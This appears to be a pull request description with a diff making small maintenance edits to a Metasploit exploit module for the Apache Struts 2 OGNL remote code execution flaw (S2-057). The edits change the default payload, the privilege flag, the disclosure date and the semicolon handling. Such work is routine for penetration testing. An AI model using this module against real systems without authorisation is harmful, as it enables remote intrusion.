Make some small changes:

Changes made:

* DisclosureDate
* Privileged to false
* Remove gsub for ';'
* Set cmd/unix/generic as the default payload for ARCH_CMD (linux)

modules/exploits/multi/http/struts2_namespace_ognl.rb

@@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote
         ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
         ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
       ],
-      'Privileged'     => true,
+      'Privileged'     => false,
       'Targets'        => [
         [
           'Automatic detection', {
@@ -55,10 +55,11 @@ class MetasploitModule < Msf::Exploit::Remote
           'Linux', {
             'Platform'       => %w{ unix linux },
             'Arch'           => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
+            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
           },
         ],
       ],
-      'DisclosureDate' => 'Apr 10 2018',
+      'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
       'DefaultTarget'  => 0))
 
       register_options(
@@ -282,13 +283,8 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def execute_command(cmd_input, opts={})
     # Semicolons appear to be a bad character in OGNL.  cmdstager doesn't understand that.
-    #   We'll replace ';' with '||' and hope for the best
-
     if cmd_input.include? ';'
-      print_error("WARNING: Command contains bad characters: semicolons (;).  Substituting '||'")
-      vprint_status("BEFORE: #{cmd_input}")
-      cmd_input = cmd_input.gsub(";" ,"||")
-      vprint_status("AFTER: #{cmd_input}")
+      print_warning("WARNING: Command contains bad characters: semicolons (;).")
     end
 
     begin
@@ -392,4 +388,3 @@ class MetasploitModule < Msf::Exploit::Remote
     end
   end
 end
-